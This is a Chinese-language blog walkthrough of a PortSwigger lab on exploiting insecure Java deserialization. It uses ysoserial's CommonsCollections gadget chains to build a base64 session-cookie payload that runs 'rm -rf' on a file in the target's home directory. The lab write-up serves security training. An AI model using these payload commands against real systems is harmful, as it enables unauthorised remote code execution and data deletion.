某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

    • 实验室做题记录
    • 服务器端

    • 客户端

    • 高级主题

      • 不安全的反序列化

        • 学徒-修改序列化对象
        • 从业者-修改序列化数据类型
        • 从业者-使用应用程序功能
        • 从业者-PHP中的任意对象注入
        • 从业者-Apache Commons-Java反序列化
          • 题目
          • 实操
            • 下载工具
            • 开始实验
        • 从业者-预构建的小工具链-PHP反序列化
        • 从业者-收录在案的小工具链-Ruby反序列化
        • 专家-自定义小工具链-Java反序列化
        • 专家-自定义小工具链-PHP反序列化
        • 专家-自定义小工具链-PHAR反序列化
      • GraphQL API漏洞

      • 服务端模板注入

      • Web缓存投毒

      • HTTP主机头攻击

      • HTTP请求走私

      • OAuth身份验证漏洞

      • JWT攻击

      • 原型链污染

  • BurpSuite及官方实验室
  • 实验室做题记录
  • 高级主题
  • 不安全的反序列化
carsaid
2023-10-30
目录

从业者-Apache Commons-Java反序列化

# 实验室:通过Apache Commons利用Java反序列化

# 题目

此实验室使用基于序列化的会话机制并加载 Apache Commons Collections 库。虽然你没有源代码的访问权限,但你仍然可以使用预构建的小工具链来利用此实验。

若要解决实验室问题,请使用第三方工具生成 包含远程代码执行有效负载 的恶意序列化对象。然后,将此对象传递到网站中,以从 Carlos 的家目录中删除morale.txt文件。

你可以使用以下凭据登录到自己的帐户:wiener:peter

提示

在 Java 16 版本及更高版本中,你需要为 Java 设置一系列命令行参数才能运行 ysoserial。例如:

java -jar ysoserial-all.jar \
   --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
   --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
   --add-opens=java.base/java.net=ALL-UNNAMED \
   --add-opens=java.base/java.util=ALL-UNNAMED \
   [载荷] '[命令]'
1
2
3
4
5
6

实验室-从业者

通过Apache Commons利用Java反序列化 >>

- name: 实验室-从业者
  desc: 通过Apache Commons利用Java反序列化 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-java-deserialization-with-apache-commons
  bgColor: '#001350'
  textColor: '#4cc1ff'
1
2
3
4
5
6

# 实操

# 下载工具

这次先不急着进实验室,先到 GitHub 上把所需的工具下载下来:https://github.com/frohoff/ysoserial (opens new window)

这是一个由 Java 编写的.jar包。

Not Found Image

# 开始实验

准备好所需的工具之后,点击 “ACCESS THE LAB” 进入实验室。

Not Found Image

一个购物站点。

Not Found Image

使用题目中提供的用户名和密码进行登录。

登录之后,通过 BurpSuite 捕获一个请求数据包,找到 Cookie 中经过加密的值。

Not Found Image

对加密的值进行解码,发现是一串十六进制数据。

根据 Java 序列化对象的特征(以十六进制字符ac ed开头,或以 Base64 编码字符rO0开头)以及其中的文本内容可以发现,这段数据是一个 Java 序列化对象。

Not Found Image

我们可以点击右边的 “Text”(文本格式) 或者 “Hex”(十六进制格式)来切换显示方式。

Not Found Image

题目是 “Apache Commons” 反序列化,那就一定和这个框架有关。

这不巧了嘛,我们准备的工具 ysoserial (opens new window) 刚好支持 “Apache Commons” 的小工具链(一共七个)。

Not Found Image

继续查阅工具文档,工具的使用方式是:

  • xxd是 Linux 系统中的命令,将一段文本以十六进制的格式输出
java -jar ysoserial.jar <工具链> <要执行的命令>

# 例如
java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
1
2
3
4
Not Found Image

我们刚刚下载的文件是ysoserial-all.jar,多了字符-all,但并不妨碍我们使用它:

java -jar ysoserial-all.jar CommonsCollections1 calc.exe | xxd
1

成功生成了一段由 “CommonsCollections1” 小工具链构造出来的恶意 Java 序列化对象。

Not Found Image

还是使用第一个小工具链 “CommonsCollections1”,只需要将所执行的命令 和 编码方式修改一下:

  • -w 0:Base64 编码的时候不使用换行
java -jar ysoserial-all.jar CommonsCollections1 "rm -rf /home/carlos/morale.txt" | base64 -w 0
1
Not Found Image

然后,直接将这段经过 Base64 编码的值覆盖到原有 Cookie 中即可。

反序列化失败,可能是工具链不对。

Not Found Image

再生成一个恶意 Java 序列化对象,这次改为使用第二个工具链 “CommonsCollections2”:

java -jar ysoserial-all.jar CommonsCollections2 "rm -rf /home/carlos/morale.txt" | base64 -w 0
1

这次生成出来的数据更长了。

Not Found Image

将新的载荷替换到原有 Cookie 当中,然后刷新网页。

构造的恶意 Java 序列化对象成功被反序列化,其中的恶意代码执行之后删除了 carlos 家目录中的对应文件。

实验完成。

Not Found Image
编辑 (opens new window)
从业者-PHP中的任意对象注入
从业者-预构建的小工具链-PHP反序列化

← 从业者-PHP中的任意对象注入 从业者-预构建的小工具链-PHP反序列化→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式